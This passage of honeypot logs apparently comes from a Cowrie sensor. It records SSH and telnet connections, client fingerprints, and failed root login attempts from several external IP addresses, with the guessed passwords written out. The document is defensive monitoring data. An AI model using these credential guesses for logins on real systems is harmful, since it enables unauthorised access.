roup-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.102054Z","src_ip":"43.153.54.120","session":"79c00d3f68fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"715fec45fb37","protocol":"telnet","message":"New connection: 152.42.224.71:54670 (10.17.0.5:23) [session: 715fec45fb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.265505Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.409384Z","src_ip":"43.153.54.120","session":"79c00d3f68fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":52932,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d45716b567a","protocol":"ssh","message":"New connection: 43.134.228.151:52932 (159.203.135.109:22) [session: 1d45716b567a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.488691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.493327Z","src_ip":"43.134.228.151","session":"1d45716b567a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.731366Z","src_ip":"43.134.228.151","session":"1d45716b567a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.690497398376465,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:22.860796Z","src_ip":"152.42.224.71","session":"6acdc1c275f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.55615210533142,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:23.295362Z","src_ip":"152.42.224.71","session":"4294f26023d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:23.480444Z","src_ip":"43.153.54.120","session":"79c00d3f68fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:23.715145Z","src_ip":"43.134.228.151","session":"1d45716b567a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54686,"dst_ip":"10.17.0.5","dst_port":23,"session":"211c669ed2e1","protocol":"telnet","message":"New connection: 152.42.224.71:54686 (10.17.0.5:23) [session: 211c669ed2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:24.491021Z"}
{"eventid":"cowrie.session.closed","duration":37.18262815475464,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:24.745589Z","src_ip":"152.42.224.71","session":"bf6a28268a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:24.978256Z","src_ip":"43.134.228.151","session":"1d45716b567a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae02f7ef9b8f","protocol":"telnet","message":"New connection: 152.42.224.71:54688 (10.17.0.5:23) [session: ae02f7ef9b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.031171Z"}
{"eventid":"cowrie.session.closed","duration":120.00151586532593,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.074876Z","src_ip":"152.42.224.71","session":"495bf1f11b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.354138612747192,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.133854Z","src_ip":"152.42.224.71","session":"af639ee16106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":48586,"dst_ip":"159.203.135.109","dst_port":22,"session":"898e0f68f4db","protocol":"ssh","message":"New connection: 94.159.98.239:48586 (159.203.135.109:22) [session: 898e0f68f4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.576142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.581197Z","src_ip":"94.159.98.239","session":"898e0f68f4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:25.707551Z","src_ip":"94.159.98.239","session":"898e0f68f4db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty6","message":"login attempt [root/qwerty6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:26.133798Z","src_ip":"94.159.98.239","session":"898e0f68f4db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:27.262821Z","src_ip":"94.159.98.239","session":"898e0f68f4db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.102285146713257,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:28.451195Z","src_ip":"152.42.224.71","session":"4314fbffb065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.13998484611511,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:33.142426Z","src_ip":"152.42.224.71","session":"0488009272dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"155d6a83d58a","protocol":"telnet","message":"New connection: 152.42.224.71:40004 (10.17.0.5:23) [session: 155d6a83d58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:34.684247Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a28ddfe832a","protocol":"telnet","message":"New connection: 152.42.224.71:40010 (10.17.0.5:23) [session: 4a28ddfe832a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:35.724436Z"}
{"eventid":"cowrie.session.closed","duration":26.314011573791504,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:36.137622Z","src_ip":"152.42.224.71","session":"8fa522fe4ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.27981495857239,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:36.542810Z","src_ip":"152.42.224.71","session":"750fb3f07dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":58890,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40ab2975e57","protocol":"ssh","message":"New connection: 182.217.16.126:58890 (159.203.135.109:22) [session: a40ab2975e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:38.338867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:38.342899Z","src_ip":"182.217.16.126","session":"a40ab2975e57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:38.550769Z","src_ip":"182.217.16.126","session":"a40ab2975e57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:39.418386Z","src_ip":"182.217.16.126","session":"a40ab2975e57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:40.629705Z","src_ip":"182.217.16.126","session":"a40ab2975e57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f803e54376","protocol":"telnet","message":"New connection: 152.42.224.71:38636 (10.17.0.5:23) [session: d9f803e54376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:45.156047Z"}
{"eventid":"cowrie.session.closed","duration":120.00395178794861,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:48.151476Z","src_ip":"152.42.224.71","session":"1381c7cd2c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34554,"dst_ip":"10.17.0.5","dst_port":23,"session":"922afc824c34","protocol":"telnet","message":"New connection: 152.42.224.71:34554 (10.17.0.5:23) [session: 922afc824c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:48.691003Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":48392,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3cd44c5897d","protocol":"ssh","message":"New connection: 43.156.227.3:48392 (159.203.135.109:22) [session: a3cd44c5897d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:49.654615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:49.658606Z","src_ip":"43.156.227.3","session":"a3cd44c5897d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:49.894497Z","src_ip":"43.156.227.3","session":"a3cd44c5897d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:50.874978Z","src_ip":"43.156.227.3","session":"a3cd44c5897d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194096565247,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:51.390165Z","src_ip":"152.42.224.71","session":"971610c331e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:12:52.121850Z","src_ip":"43.156.227.3","session":"a3cd44c5897d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.37922668457031,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:01.178844Z","src_ip":"152.42.224.71","session":"58f729491d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.032328844070435,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:03.756652Z","src_ip":"152.42.224.71","session":"4a28ddfe832a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47904,"dst_ip":"10.17.0.5","dst_port":23,"session":"51fa303747a0","protocol":"telnet","message":"New connection: 152.42.224.71:47904 (10.17.0.5:23) [session: 51fa303747a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:06.452501Z"}
{"eventid":"cowrie.session.closed","duration":32.576005697250366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:07.260119Z","src_ip":"152.42.224.71","session":"155d6a83d58a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47914,"dst_ip":"10.17.0.5","dst_port":23,"session":"68238b5b6c85","protocol":"telnet","message":"New connection: 152.42.224.71:47914 (10.17.0.5:23) [session: 68238b5b6c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:08.952549Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":47622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a345ae000bd0","protocol":"ssh","message":"New connection: 103.149.170.125:47622 (159.203.135.109:22) [session: a345ae000bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:09.200666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:09.205489Z","src_ip":"103.149.170.125","session":"a345ae000bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:09.455669Z","src_ip":"103.149.170.125","session":"a345ae000bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b76cd3f858","protocol":"telnet","message":"New connection: 152.42.224.71:47920 (10.17.0.5:23) [session: c2b76cd3f858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:09.951154Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed68bdc138c4","protocol":"telnet","message":"New connection: 152.42.224.71:47950 (10.17.0.5:23) [session: ed68bdc138c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:10.760549Z"}
{"eventid":"cowrie.session.closed","duration":0.010869503021240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:10.771316Z","src_ip":"152.42.224.71","session":"ed68bdc138c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:10.909294Z","src_ip":"103.149.170.125","session":"a345ae000bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b29b9f3561d","protocol":"telnet","message":"New connection: 152.42.224.71:47934 (10.17.0.5:23) [session: 4b29b9f3561d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:11.082091Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:12.171273Z","src_ip":"103.149.170.125","session":"a345ae000bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.79906988143921,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:12.954992Z","src_ip":"152.42.224.71","session":"d9f803e54376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.71104168891907,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:14.201952Z","src_ip":"152.42.224.71","session":"211c669ed2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":52858,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d7edfd01e1","protocol":"ssh","message":"New connection: 94.230.136.33:52858 (159.203.135.109:22) [session: 10d7edfd01e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:13:14.742719Z"}
